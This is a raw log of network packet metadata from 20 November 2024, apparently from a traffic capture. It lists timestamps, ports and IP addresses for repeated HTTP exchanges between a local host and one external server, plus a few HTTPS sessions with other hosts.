Nov 20, 2024 21:06:00.350651026 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.350704908 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.350785017 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.350838900 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.353468895 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.353534937 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.353627920 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.353669882 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.356329918 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.356383085 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.356723070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.356780052 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.359083891 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.359098911 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.359136105 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.359168053 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.361898899 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.361957073 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.361967087 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.362009048 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.364703894 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.364768028 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.364783049 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.364834070 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.367747068 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.367805004 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.368174076 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.368261099 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.369548082 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.369615078 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.369750977 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.369812012 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.371412039 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.371469021 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.372092009 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.372154951 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.373470068 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.373527050 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.374058962 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.374263048 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.375302076 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.375590086 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.375633955 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.375668049 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.377229929 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.377288103 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.377465010 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.377522945 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.379240036 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.379303932 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.379405975 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.379461050 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.381320000 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.381376028 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.381442070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.381490946 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.383058071 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.383117914 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.383845091 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.383918047 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.385051966 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.385179043 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.385195971 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.385235071 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.386976004 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.387023926 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.387101889 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.387285948 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.388915062 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.388962030 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.389045000 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.389091969 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.390763044 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.390815020 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.390904903 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.390953064 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.392827034 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.392880917 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.393050909 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.393177032 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.394593954 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.394747972 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.394799948 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.394908905 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.394916058 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.394936085 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.394957066 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.396466970 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.396533012 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.396636009 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.396688938 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.396774054 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.396815062 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.397058010 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.397139072 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.397277117 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.397286892 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.397315979 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.397372007 CET	443	49898	104.46.162.227	192.168.2.7
Nov 20, 2024 21:06:00.398583889 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.398647070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.398699045 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.400590897 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.400634050 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.400656939 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.400669098 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.430010080 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.430516005 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.430540085 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.430999994 CET	49900	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.431005955 CET	443	49900	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.437231064 CET	49898	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:06:00.524672985 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.524775028 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.525166035 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.525227070 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.525506973 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.525636911 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.525836945 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.525897980 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.527142048 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.527220964 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.527560949 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.527616978 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.528759956 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.528948069 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.529031992 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.529093981 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.530381918 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.530438900 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.530780077 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.530831099 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.532165051 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.532222033 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.532286882 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.532372952 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.533655882 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.533718109 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.534023046 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.534092903 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.535264015 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.535379887 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.535392046 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.535456896 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.536930084 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.536987066 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.537143946 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.537206888 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.538584948 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.538676023 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.538925886 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.539062023 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.540230036 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.540313005 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.540436029 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.540489912 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.541807890 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.541861057 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.542021990 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.542136908 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.543663025 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.543718100 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.543807983 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.543872118 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.545193911 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.545347929 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.545412064 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.545464039 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.546767950 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.546833038 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.546871901 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.546873093 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.548455000 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.548511028 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.548783064 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.548840046 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.550096035 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.550188065 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.550196886 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.550281048 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.551788092 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.551937103 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.552042961 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.552352905 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.552417040 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.552506924 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.552531958 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.552974939 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:06:00.552979946 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 21:06:00.553474903 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.553666115 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.553685904 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.553715944 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.554985046 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.555037975 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.556663036 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.556679964 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.556720972 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.556751966 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.556962967 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.557017088 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.558300018 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.558373928 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.558496952 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.558549881 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.559942961 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.559997082 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.560126066 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.560177088 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.561549902 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.561605930 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.561940908 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.561999083 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.563311100 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.563441992 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.563441038 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.563497066 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.564987898 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.565047026 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.565104961 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.565152884 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.566483021 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.566564083 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.567162991 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.567219973 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.568145990 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.568197966 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.568270922 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.568322897 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.569794893 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.569858074 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.569983006 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.570060015 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.571439028 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.571496010 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.571783066 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.571834087 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.573172092 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.573188066 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.573246956 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.574758053 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.574843884 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.575150967 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.575208902 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.576385975 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.576442003 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.576495886 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.576560974 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.578011990 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.578067064 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.578241110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.578449965 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.579658031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.579714060 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.579890966 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.579994917 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.581274986 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.581332922 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.581945896 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.582005978 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.582932949 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.582993031 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.583108902 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.583184004 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.584567070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.584621906 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.584889889 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.584949017 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.586236954 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.586296082 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.586540937 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.586587906 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.587887049 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.587937117 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.589077950 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.589180946 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.589504957 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.589560986 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.590010881 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.590054989 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.591387987 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.591442108 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.591710091 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.591758013 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.592840910 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.592889071 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.593364954 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.593439102 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.594445944 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.594510078 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.595092058 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.595141888 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.596111059 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.596162081 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.596209049 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.596251011 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.597764015 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.597810984 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.598509073 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.598556042 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.599483013 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.599535942 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.599657059 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.599705935 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.601047039 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.601106882 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.601380110 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.601429939 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.602690935 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.602746010 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.602962971 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.603003979 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.604326963 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.604435921 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.605130911 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.605175018 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.605953932 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.606002092 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.606040001 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.606081009 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.607620955 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.607686996 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.607917070 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.608020067 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.609323025 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.609390974 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.725919962 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.725941896 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.726021051 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.726021051 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.726598024 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.726663113 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.726717949 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.726768017 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.728017092 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.728072882 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.729166031 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.729237080 CET	49899	80	192.168.2.7	185.215.113.16
Nov 20, 2024 21:06:00.729470015 CET	80	49899	185.215.113.16	192.168.2.7
Nov 20, 2024 21:06:00.729481936 CET	80	49899	185.215.113.16	192.168.2.7
